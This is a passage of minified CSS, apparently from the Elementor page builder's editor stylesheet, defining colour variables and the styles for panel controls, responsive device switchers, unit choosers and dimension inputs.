--e-a-color-info: #2563EB; --e-a-color-warning: #F59E0B; --e-a-color-accent: #93003f; --e-a-color-global: #1DDDBF; --e-a-color-accent-promotion: #93003f; --e-a-bg-default: #ffffff; --e-a-bg-invert: #0C0D0E; --e-a-bg-hover: #F1F2F3; --e-a-bg-active: #E6E8EA; --e-a-bg-active-bold: #D5D8DC; --e-a-bg-loading: #F9FAFA; --e-a-bg-logo: #000000; --e-a-bg-primary: #FAE8FF; --e-a-bg-secondary: #515962; --e-a-bg-success: #F2FDF5; --e-a-bg-info: #F0F7FF; --e-a-bg-danger: #FEF1F4; --e-a-bg-warning: #FFFBEB; --e-a-color-txt: #515962; --e-a-color-txt-muted: #818A96; --e-a-color-txt-disabled: #BABFC5; --e-a-color-txt-invert: #ffffff; --e-a-color-txt-accent: #0C0D0E; --e-a-color-txt-hover: #3f444b; --e-a-color-txt-active: #0C0D0E; --e-a-border-color: #E6E8EA; --e-a-border-color-bold: #D5D8DC; --e-a-border-color-focus: #BABFC5; --e-a-border-color-accent: #0C0D0E; --e-a-border: 1px solid var(--e-a-border-color); --e-a-border-bold: 1px solid var(--e-a-border-color-bold); --e-a-border-radius: 3px; --e-a-btn-color: #0C0D0E; --e-a-btn-color-invert: var(--e-a-color-txt-invert); --e-a-btn-color-disabled: var(--e-a-color-txt-disabled); --e-a-btn-bg: #515962; --e-a-btn-bg-hover: #3a4046; --e-a-btn-bg-active: #23262a; --e-a-btn-bg-disabled: #D5D8DC; --e-a-btn-bg-primary: #F3BAFD; --e-a-btn-bg-primary-hover: #F5D0FE; --e-a-btn-bg-primary-active:#F0ABFC; --e-a-btn-bg-accent: #93003f; --e-a-btn-bg-accent-hover: #8F1A4C; --e-a-btn-bg-accent-active: #A93365; --e-a-btn-bg-info: #2563EB; --e-a-btn-bg-info-hover: #134cca; --e-a-btn-bg-info-active: #0e3b9c; --e-a-btn-bg-success: #0A875A; --e-a-btn-bg-success-hover: #06583a; --e-a-btn-bg-success-active:#03281b; --e-a-btn-bg-warning: #F59E0B; --e-a-btn-bg-warning-hover: #c57f08; --e-a-btn-bg-warning-active:#945f06; --e-a-btn-bg-danger: #DC2626; --e-a-btn-bg-danger-hover: #b21d1d; --e-a-btn-bg-danger-active: #861616; --e-a-dark-bg: #0C0D0E; --e-a-dark-color-txt: #9DA5AE; --e-a-dark-color-txt-hover: #D5D8DC; --e-a-font-family: Roboto, Arial, Helvetica, sans-serif; --e-a-transition-hover: all .3s; --e-a-popover-shadow: 0 2px 15px rgba(0, 0, 0, 0.3); --e-a-dropdown-shadow: 0 0 3px rgba(0, 0, 0, 0.2); } .elementor-control-unit-1 { width: 27px; } .elementor-control-unit-2 { width: 54px; } .elementor-control-unit-3 { width: 81px; } .elementor-control-unit-4 { width: 108px; } .elementor-control-unit-5 { max-width: 400px; width: 52%; } .elementor-tags-list { display: none; position: absolute; width: 260px; max-height: 300px; overflow: auto; padding-block-end: 5px; background-color: var(--e-a-bg-default); box-shadow: var(--e-a-popover-shadow); border: var(--e-a-border); border-radius: 3px; z-index: 10000; } .elementor-tags-list__group-title { font-weight: bold; font-size: 12px; padding: 10px 15px; display: flex; align-items: center; } .elementor-tags-list__group-title .eicon-info-circle { padding-inline-end: 5px; color: var(--e-a-color-primary-bold); font-size: 14px; } .elementor-tags-list__item { font-size: 10px; padding: 6px 15px; cursor: pointer; } .elementor-tags-list__item:before { content: ">"; font-size: 8px; padding-inline-end: 5px; } .elementor-tags-list__item:hover { background-color: var(--e-a-bg-hover); } .elementor-tags-list__teaser { border-block-start: 2px solid var(--e-a-border-color); padding-block-start: 4px; margin-block-start: 4px; } .elementor-tags-list__teaser-text { padding: 2px 15px 8px; line-height: 1.5; font-size: 12px; } .elementor-tags-list__teaser-link { color: var(--e-a-color-primary-bold); text-decoration: underline; font-style: italic; font-weight: bold; } .elementor-dynamic-cover { display: flex; align-items: center; width: 100%; height: 27px; box-sizing: border-box; } .elementor-dynamic-cover__title { padding: 0 8px; flex-grow: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-dynamic-cover__settings, .elementor-dynamic-cover__remove { cursor: pointer; transition: var(--e-a-transition-hover); } .elementor-dynamic-cover__settings:hover, .elementor-dynamic-cover__remove:hover { color: var(--e-a-color-txt-hover); } .elementor-control-type-wysiwyg .elementor-dynamic-cover { margin-block-start: 10px; } .elementor-tag-settings-popup { position: absolute; width: 260px; background-color: var(--e-a-bg-default); border: var(--e-a-border); box-shadow: var(--e-a-popover-shadow); z-index: 1; } .elementor-tag-settings-popup:before { content: ""; position: absolute; top: -20px; left: 5px; border: 10px solid transparent; border-block-end-color: var(--e-a-border-color); } .elementor-tag-settings-popup .elementor-control-type-section:first-child { margin: 0; } .elementor-tag-controls-stack-empty { background-color: var(--e-a-bg-default); padding: 10px; font-size: 13px; text-align: center; } .elementor-control-dynamic input { border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); } .elementor-control-dynamic-switcher { display: inline-flex; align-items: center; justify-content: center; flex-shrink: 0; height: 27px; cursor: pointer; border: var(--e-a-border-bold); background: var(--e-a-bg-default); border-inline-start-width: 0; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; transition: var(--e-a-transition-hover); } .elementor-control-dynamic-switcher:hover { background-color: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .elementor-control-dynamic-switcher.e-control-tool { height: 20px; border: 0; } .elementor-control-dynamic-switcher-wrapper { display: flex; } .elementor-control-dynamic-switcher .eicon-database { font-size: 12px; } .elementor-control-dynamic-value .elementor-control-tag-area, .elementor-control-dynamic-value .elementor-control-dynamic-switcher, .elementor-control-dynamic-value .e-global__popover-toggle { display: none; } .elementor-panel-box-content { padding: 20px 20px 10px; } .elementor-button { display: inline-block; } .elementor-panel-alert { background-color: var(--e-a-bg-primary); padding: 15px; border-inline-start: 3px solid var(--e-a-color-primary); position: relative; font-size: 12px; font-weight: 300; font-style: italic; line-height: 1.5; text-align: start; border-start-start-radius: 0; border-start-end-radius: 3px; border-end-start-radius: 0; border-end-end-radius: 3px; } .elementor-panel-alert a { color: inherit; } .elementor-panel-alert.elementor-panel-alert-info { border-color: var(--e-a-color-info); background: var(--e-a-bg-info); } .elementor-panel-alert.elementor-panel-alert-success { border-color: var(--e-a-color-success); background: var(--e-a-bg-success); } .elementor-panel-alert.elementor-panel-alert-warning { border-inline-start: 3px solid var(--e-a-color-warning); background: var(--e-a-bg-warning); } .elementor-panel-alert.elementor-panel-alert-danger { border-color: var(--e-a-color-danger); background: var(--e-a-bg-danger); } .elementor-descriptor, .elementor-control-field-description { font-size: 11px; font-style: italic; line-height: 1.4; color: var(--e-a-color-txt-muted); } .elementor-controls-popover { display: none; position: absolute; box-shadow: var(--e-a-popover-shadow); border-radius: var(--e-a-border-radius); left: 0; right: 0; margin: -4px auto 5px; padding-block-start: 15px; width: 90%; z-index: 10000; background-color: var(--e-a-bg-default); } .elementor-controls-popover:before { content: ""; position: absolute; top: -16px; right: 22px; border: 8px solid transparent; border-block-end-color: var(--e-a-bg-default); } .elementor-controls-popover div.elementor-control { background-color: transparent; } .elementor-controls-popover div.elementor-control:before { content: none; } #elementor-panel-global .elementor-nerd-box .elementor-nerd-box-icon { margin-block-start: 20px; } .elementor-control { --control-title-size: 12px; position: relative; padding: 0 20px 15px; } .elementor-control a { font-weight: 500; text-decoration: none; border-block-end: 1px dotted transparent; transition: all ease-in-out 0.3s; } .elementor-control a:hover { border-block-end-color: inherit; } .elementor-control .elementor-control-content { display: flex; flex-direction: column; } .elementor-control .elementor-control-title { font-size: var(--control-title-size); line-height: 1; margin-inline-end: 5px; } .elementor-control .elementor-control-title:empty { display: none; } .elementor-control .elementor-control-spinner { display: flex; align-items: center; } .elementor-control.elementor-control-type-divider { padding: 0; } .elementor-control.elementor-control-type-divider .elementor-control-content { border-width: 0; border-block-start: var(--e-a-border); background-color: var(--e-a-bg-default); height: 15px; } .elementor-control.elementor-control-separator-before { padding-block-start: 15px; } .elementor-control.elementor-control-separator-before:before { content: ""; position: absolute; height: 1px; width: calc(100% - 40px); top: 0; left: 20px; background-color: var(--e-a-border-color); } .elementor-control.elementor-control-separator-after:after { content: ""; position: absolute; height: 1px; width: calc(100% - 40px); bottom: 0; left: 20px; background-color: var(--e-a-border-color); } .elementor-control.elementor-control-separator-after + .elementor-control-type-tabs + .elementor-control-separator-default, .elementor-control.elementor-control-separator-after:not(.elementor-hidden-control) + .elementor-control-separator-default { padding-block-start: 15px; } .elementor-control.elementor-control-deprecated { color: var(--e-a-color-warning); } .elementor-control.elementor-control-deprecated .elementor-control-field-description { color: var(--e-a-color-warning); } .elementor-control.elementor-control-hidden-label > * > .elementor-control-title, .elementor-control.elementor-control-hidden-label > * > * > .elementor-control-title { display: none; } .elementor-control.elementor-hidden-control { display: none; } .elementor-control.elementor-control-type-heading .elementor-control-title { font-weight: bold; margin: 0; } body:not(.elementor-device-widescreen) .elementor-control.elementor-control-responsive-widescreen { display: none; } body:not(.elementor-device-desktop) .elementor-control.elementor-control-responsive-desktop { display: none; } body:not(.elementor-device-laptop) .elementor-control.elementor-control-responsive-laptop { display: none; } body:not(.elementor-device-tablet_extra) .elementor-control.elementor-control-responsive-tablet_extra { display: none; } body:not(.elementor-device-tablet) .elementor-control.elementor-control-responsive-tablet { display: none; } body:not(.elementor-device-mobile_extra) .elementor-control.elementor-control-responsive-mobile_extra { display: none; } body:not(.elementor-device-mobile) .elementor-control.elementor-control-responsive-mobile { display: none; } .elementor-control-custom_css_pro .elementor-nerd-box-message, .elementor-control-custom_attributes_pro .elementor-nerd-box-message { margin-block-start: 5px; } .elementor-control.e-open .elementor-panel-heading-toggle .eicon:before, .elementor-control.elementor-active .elementor-panel-heading-toggle .eicon:before, .elementor-panel-category.e-open .elementor-panel-heading-toggle .eicon:before, .elementor-panel-category.elementor-active .elementor-panel-heading-toggle .eicon:before, .elementor-panel-scheme-item.e-open .elementor-panel-heading-toggle .eicon:before, .elementor-panel-scheme-item.elementor-active .elementor-panel-heading-toggle .eicon:before { content: "\e92a"; } .elementor-control:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before, .elementor-panel-category:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before, .elementor-panel-scheme-item:not(.e-open):not(.elementor-active) .elementor-panel-heading-toggle .eicon:before { content: "\e90a"; } .elementor-panel-heading { display: flex; align-items: center; gap: 5px; height: 48px; padding-inline: 20px; width: 100%; border: 0; border-block-start: var(--e-a-border); border-block-start-width: 2px; background-color: transparent; color: var(--e-a-color-txt-accent); cursor: pointer; } .elementor-panel-heading-toggle { width: 10px; display: flex; flex-direction: column; align-items: center; } .elementor-panel-heading-title { font-weight: bold; } .elementor-panel-heading-promotion { margin-inline-start: auto; } .elementor-panel-heading-promotion a { color: var(--e-a-color-accent-promotion); font-family: "Roboto", sans-serif; font-weight: 500; font-size: 13px; } .elementor-panel-heading-promotion a i { margin-inline-end: 4px; font-size: 14px; } .elementor-panel-heading-promotion a:hover { color: var(--e-a-color-accent-promotion); } .elementor-panel-heading:focus-visible { color: var(--e-a-color-txt-hover); } #elementor-controls .elementor-control-type-section:first-child .elementor-panel-heading { border-block-start: none; } .elementor-control-field { display: flex; align-items: center; } .elementor-label-block > .elementor-control-content > .elementor-control-field { flex-wrap: wrap; } .elementor-label-block > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { width: 100%; max-width: 100%; margin-block-start: 10px; } .elementor-label-block > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper > .elementor-choices label { width: auto; flex: 1 1 27px; display: flex; align-items: center; justify-content: center; } .elementor-label-block.elementor-control-hidden-label:not(.elementor-control-dynamic) > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; } .elementor-label-block.elementor-control-hidden-label.elementor-label-block > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; } .elementor-label-inline > .elementor-control-content > .elementor-control-field > .elementor-control-title { flex-shrink: 0; max-width: 60%; } .elementor-label-inline > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-inline-start: auto; } .elementor-control-field-description { margin-block-start: 10px; } .elementor-group-control-attachment_alert .elementor-control-field-description { margin-block-start: 0; } .elementor-update-preview { margin: 15px 15px 0; display: flex; align-items: center; } .elementor-update-preview-button-wrapper { flex-grow: 1; text-align: end; } .elementor-update-preview-button { padding: 8px 15px; } .elementor-control-direction-ltr input, .elementor-control-direction-ltr textarea { direction: ltr; } .elementor-control-direction-rtl input, .elementor-control-direction-rtl textarea { direction: rtl; } .elementor-control-responsive-switchers { --selected-option: 0; --pointer-position: var(--selected-option); position: relative; width: 2.5em; height: 2.5em; margin: calc(-2.5em + 12px) 0; margin-inline-end: 5px; } .elementor-control-responsive-switchers__holder { position: absolute; width: 100%; top: 0; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); transition: 0.15s; border: 1px solid transparent; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open { z-index: 11000; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder { box-shadow: var(--e-a-dropdown-shadow); } .elementor-responsive-switcher { all: unset; display: flex; align-items: center; justify-content: center; position: relative; z-index: 2; cursor: pointer; height: 0; width: 100%; transform: scale(0); opacity: 0; transition: 0.15s; font-size: 12px; color: inherit; } .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { color: var(--e-a-color-primary-bold); } .elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop { color: var(--e-a-color-primary-bold); } .elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop { color: var(--e-a-color-primary-bold); } .elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { color: var(--e-a-color-primary-bold); } .elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet { color: var(--e-a-color-primary-bold); } .elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { color: var(--e-a-color-primary-bold); } .elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile { color: var(--e-a-color-primary-bold); } .e-units-wrapper { position: relative; margin-inline-start: auto; } .e-units-wrapper .e-units-switcher { cursor: pointer; font-size: 10px; padding: 0.5em; margin: -0.5em 0; transition: all ease-in-out 0.15s; } .e-units-wrapper .e-units-switcher:hover { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-hover); border-radius: var(--e-a-border-radius); } .e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit { display: none; } .e-units-wrapper .e-units-switcher[data-selected=custom] span { display: none; } .e-units-wrapper .e-units-switcher i.eicon-angle-right { transform: rotate(90deg); } .e-units-choices input { display: none; } .e-units-choices input:checked + label { color: var(--e-a-color-primary-bold); } .e-units-choices label { cursor: pointer; display: block; } .e-units-choices { display: none; overflow: hidden; max-height: 0; position: absolute; top: -0.8em; left: -0.5em; width: 2.5em; text-align: center; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-dropdown-shadow); animation-timing-function: linear; animation-delay: 0s; animation-fill-mode: forwards; z-index: 11000; } .e-units-choices .elementor-units-choices-label { display: flex; align-items: center; height: 3em; justify-content: center; font-size: 10px; transition: 0.15s; } .e-units-choices .elementor-units-choices-label:hover { color: var(--e-a-color-primary-bold); } .e-units-choices.e-units-choices-open { display: block; animation-duration: 1s; animation-name: e-units-choices-open; } .e-units-custom input { font-family: monospace; font-size: 0.85em; } @keyframes e-units-choices-open { from { max-height: 0; } to { max-height: 100vh; } } .elementor-control-alert { display: flex; flex-direction: column; justify-content: flex-start; align-items: flex-start; gap: 8px; } .elementor-control-alert-heading { font-weight: bold; } .elementor-control-type-button .elementor-control-input-wrapper { text-align: end; } .elementor-control-type-button .elementor-button { width: auto; } .elementor-control-type-button .elementor-button.elementor-button-center { display: block; margin: 0 auto; } .elementor-control-type-choose.elementor-label-block .elementor-choices { width: 100%; } .elementor-choices { display: flex; height: 27px; line-height: 27px; text-align: center; border-spacing: 1px; border-radius: var(--e-a-border-radius); overflow: hidden; } .elementor-choices .elementor-choices-label { border-block-start: var(--e-a-border-bold); border-block-end: var(--e-a-border-bold); border-inline-start: var(--e-a-border-bold); border-inline-end: none; font-size: 12px; transition: var(--e-a-transition-hover); cursor: pointer; overflow: hidden; } .elementor-choices .elementor-choices-label:nth-child(2) { border-start-start-radius: var(--e-a-border-radius); border-end-start-radius: var(--e-a-border-radius); } .elementor-choices .elementor-choices-label:last-child { border-inline-end: var(--e-a-border-bold); border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); } .elementor-choices input { display: none; } .elementor-choices input:hover + .elementor-choices-label { background-color: var(--e-a-bg-hover); } .elementor-choices input.e-choose-placeholder + .elementor-choices-label, .elementor-choices input:checked + .elementor-choices-label { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); } .elementor-label-inline .elementor-choices { justify-content: flex-end; } .elementor-control-type-color.e-control-global .pickr { border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); flex-shrink: 0; border-color: var(--e-a-border-color-bold); transition: var(--e-a-transition-hover); } .elementor-control-type-color.e-control-global .pickr:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-color.e-control-global .e-global__popover-toggle:not(.e-global__popover-toggle--active) ~ .pickr { background-color: var(--e-a-bg-active-bold); } .elementor-control-type-color .elementor-control-title { flex-grow: 1; } .elementor-control-type-color .elementor-control-input-wrapper { display: flex; justify-content: flex-end; } .elementor-group-control-css-filter .elementor-slider { height: 6px; box-shadow: 0 0 1px 1px inset rgba(0, 0, 0, 0.2); } .elementor-group-control-css-filter .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; margin-block-end: 5px; } .elementor-group-control-blur .elementor-slider { background: url("../images/blur.png"); background-size: cover; background-position: center; } .elementor-group-control-contrast .elementor-slider { background: url("../images/contrast.png"); background-size: 100% 100%; } .elementor-group-control-hue .elementor-slider { background-image: linear-gradient(to right, red, orange, yellow, greenyellow, limegreen, deepskyblue, blue, darkviolet 95%); } .elementor-group-control-saturate .elementor-slider { background-image: linear-gradient(to right, gray, red); } .elementor-group-control-brightness .elementor-slider { background-image: linear-gradient(to right, black, white); } .elementor-control-responsive-switchers { --selected-option: 0; --pointer-position: var(--selected-option); position: relative; width: 2.5em; height: 2.5em; margin: calc(-2.5em + 12px) 0; margin-inline-end: 5px; } .elementor-control-responsive-switchers__holder { position: absolute; width: 100%; top: 0; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); transition: 0.15s; border: 1px solid transparent; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open { z-index: 11000; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder { box-shadow: var(--e-a-dropdown-shadow); } .elementor-responsive-switcher { all: unset; display: flex; align-items: center; justify-content: center; position: relative; z-index: 2; cursor: pointer; height: 0; width: 100%; transform: scale(0); opacity: 0; transition: 0.15s; font-size: 12px; color: inherit; } .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { color: var(--e-a-color-primary-bold); } .elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop { color: var(--e-a-color-primary-bold); } .elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop { color: var(--e-a-color-primary-bold); } .elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { color: var(--e-a-color-primary-bold); } .elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet { color: var(--e-a-color-primary-bold); } .elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { color: var(--e-a-color-primary-bold); } .elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile { color: var(--e-a-color-primary-bold); } .e-units-wrapper { position: relative; margin-inline-start: auto; } .e-units-wrapper .e-units-switcher { cursor: pointer; font-size: 10px; padding: 0.5em; margin: -0.5em 0; transition: all ease-in-out 0.15s; } .e-units-wrapper .e-units-switcher:hover { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-hover); border-radius: var(--e-a-border-radius); } .e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit { display: none; } .e-units-wrapper .e-units-switcher[data-selected=custom] span { display: none; } .e-units-wrapper .e-units-switcher i.eicon-angle-right { transform: rotate(90deg); } .e-units-choices input { display: none; } .e-units-choices input:checked + label { color: var(--e-a-color-primary-bold); } .e-units-choices label { cursor: pointer; display: block; } .e-units-choices { display: none; overflow: hidden; max-height: 0; position: absolute; top: -0.8em; left: -0.5em; width: 2.5em; text-align: center; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-dropdown-shadow); animation-timing-function: linear; animation-delay: 0s; animation-fill-mode: forwards; z-index: 11000; } .e-units-choices .elementor-units-choices-label { display: flex; align-items: center; height: 3em; justify-content: center; font-size: 10px; transition: 0.15s; } .e-units-choices .elementor-units-choices-label:hover { color: var(--e-a-color-primary-bold); } .e-units-choices.e-units-choices-open { display: block; animation-duration: 1s; animation-name: e-units-choices-open; } .e-units-custom input { font-family: monospace; font-size: 0.85em; } @keyframes e-units-choices-open { from { max-height: 0; } to { max-height: 100vh; } } .elementor-control-type-dimensions .elementor-control-dimensions { display: flex; } .elementor-control-type-dimensions li { flex: 1; transition: flex-grow 0.3s ease-in-out; } .elementor-control-type-dimensions li input, .elementor-control-type-dimensions li .elementor-link-dimensions { display: block; text-align: center; width: 100%; height: 27px; } .elementor-control-type-dimensions li input { border-inline-start: none; border-radius: 0; padding: var(--e-a-border-radius); } .elementor-control-type-dimensions li input:focus { border-inline-start: var(--e-a-border-bold); margin-inline-start: -1px; width: calc(100% + 1px); } .elementor-control-type-dimensions li input:focus + .elementor-control-dimension-label { color: var(--e-a-color-txt); } .elementor-control-type-dimensions li .elementor-link-dimensions { border: var(--e-a-border-bold); border-inline-start: none; background-color: var(--e-a-bg-default); padding: 0; outline: none; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); cursor: pointer; } .elementor-control-type-dimensions li:first-child input { border-inline-start: 1px solid var(--e-a-border-color-bold); border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); border-end-end-radius: 0; } .elementor-control-type-dimensions li:first-child input:focus { border-color: var(--e-a-border-color-focus); margin-inline-start: 0; width: 100%; } .elementor-control-type-dimensions li:last-child { max-width: 27px; } .elementor-control-type-dimensions.e-units-custom li.elementor-control-dimension:focus-within { flex: 2.5; } .elementor-control-type-dimensions .elementor-control-dimension-label { color: var(--e-a-color-txt-muted); display: block; text-align: center; font-size: 9px; padding-block-start: 5px; } .elementor-control-type-dimensions .elementor-link-dimensions.unlinked { background-color: var(--e-a-bg-default); } .elementor-control-type-dimensions .elementor-link-dimensions.unlinked .elementor-linked { display: none; } .elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked) { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); border-color: var(--e-a-border-color-bold); } .elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked) .elementor-unlinked { display: none; } .elementor-control-responsive-switchers { --selected-option: 0; --pointer-position: var(--selected-option); position: relative; width: 2.5em; height: 2.5em; margin: calc(-2.5em + 12px) 0; margin-inline-end: 5px; } .elementor-control-responsive-switchers__holder { position: absolute; width: 100%; top: 0; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); transition: 0.15s; border: 1px solid transparent; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open { z-index: 11000; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder { box-shadow: var(--e-a-dropdown-shadow); } .elementor-responsive-switcher { all: unset; display: flex; align-items: center; justify-content: center; position: relative; z-index: 2; cursor: pointer; height: 0; width: 100%; transform: scale(0); opacity: 0; transition: 0.15s; font-size: 12px; color: inherit; } .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { color: var(--e-a-color-primary-bold); } .elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop { color: var(--e-a-color-primary-bold); } .elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop { color: var(--e-a-color-primary-bold); } .elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { color: var(--e-a-color-primary-bold); } .elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet { color: var(--e-a-color-primary-bold); } .elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { color: var(--e-a-color-primary-bold); } .elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile { color: var(--e-a-color-primary-bold); } .e-units-wrapper { position: relative; 